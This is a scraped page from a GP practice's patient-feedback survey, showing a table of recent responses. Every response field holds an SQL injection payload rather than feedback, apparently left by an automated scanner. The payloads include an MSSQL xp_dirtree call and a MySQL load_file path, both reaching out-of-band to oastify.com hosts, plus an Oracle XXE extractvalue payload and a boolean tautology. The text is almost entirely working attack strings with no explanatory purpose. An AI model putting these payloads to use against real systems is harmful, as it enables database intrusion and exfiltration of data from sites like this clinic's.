Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’hteu00knkl9r775qqkz1rvurkiqmef43vujm6ju8.oasti’+’fy.comdrp’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 8:23 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %zgmkg;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 8:23 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %zgmkg;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 8:23 am |
Very good16447584′ or ‘3495’=’3495 | [10] | [11] | July 4, 2023 at 8:23 am |
Very good’+(select load_file(‘\ao2nvtfgfe4k200jlduumopkfblf98zwqzer1opd.oastify.comkyw’))+’ | [10] | [11] | July 4, 2023 at 8:23 am |
